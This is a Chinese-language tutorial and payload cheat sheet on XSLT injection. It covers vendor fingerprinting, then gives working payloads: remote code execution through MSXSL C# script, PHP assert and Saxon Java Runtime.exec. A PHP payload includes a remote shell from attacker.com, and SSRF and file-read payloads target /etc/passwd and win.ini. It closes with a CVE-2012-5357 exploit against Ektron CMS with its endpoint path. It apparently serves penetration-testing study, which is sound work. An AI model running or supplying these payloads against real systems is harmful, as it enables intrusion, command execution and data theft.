又來Injection了!
XSLT,全稱Extensible Stylesheet Language Transformations,這是一種樣式轉換標記語言,只要用於將XML的資料檔轉換為另外的XML或其他format,像是HTML等等。它可以在不對原始資料檔案進行變動的狀況下進行格式轉換(以現有資料產生新的內容格式)。
然而,若是對未經驗證的樣式表進行處理,就可藉此變更新產生的XML結構和內容,可以影響的範圍從XSS、加入/讀取任意檔案到任意程式碼執行。
可以藉由使用一些會導致XML檔案語法無效的Character像是"
,'
,<
,>
進行測試,在具有此漏洞的網站中碰到這些字元通常會返回錯誤。
可以使用xsl:version
,xsl:vendor
,xsl:vendor-url
以下來確定供應商以及其版本,例如:
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:value-of select="system-property('xsl:vendor')"/>
</xsl:template>
</xsl:stylesheet>
若這是一個具有漏洞網站的Microsoft .Net System.xml的話,就會return:Microsoft
XSS
RCE
xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:App="http://www.tempuri.org/App">
<msxsl:script implements-prefix="App" language="C#">
<![CDATA[
{
System.Diagnostics.Process.Start("cmd.exe /C dir");
}
]]>
</msxsl:script>
<xsl:template match="ArrayOfTest">
</xsl:template>
</xsl:stylesheet>
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:variable name="payload">
include("http://attacker.com/shell.php")
</xsl:variable>
<xsl:variable name="include" select="php:function('assert',$payload)"/>
</body>
</html>
<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C dir')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>
SSRF
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/fruits">
<xsl:copy-of select="document('http://<internalIP>:25')"/>
<xsl:copy-of select="document('/etc/passwd')"/>
<xsl:copy-of select="document('file:///c:/winnt/win.ini')"/>
Fruits:
<!-- Loop for each fruit -->
<xsl:for-each select="fruit">
<!-- Print name: description -->
- <xsl:value-of select="name"/>: <xsl:value-of select="description"/>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
Ektron Web CMS
CVE-2012-5357
透過利用內置的Saxon XSLT 2.0,並在Microsoft的EnableScript關閉時,調用Runtime:getRuntime()
,達成RCE:
url: http(s)://WorkArea/ContentDesigner/ekajaxtransform.aspx
xslt=<?xml version="1.0"?>
<xsl:stylesheet version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),cmd.exe /C dir)"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>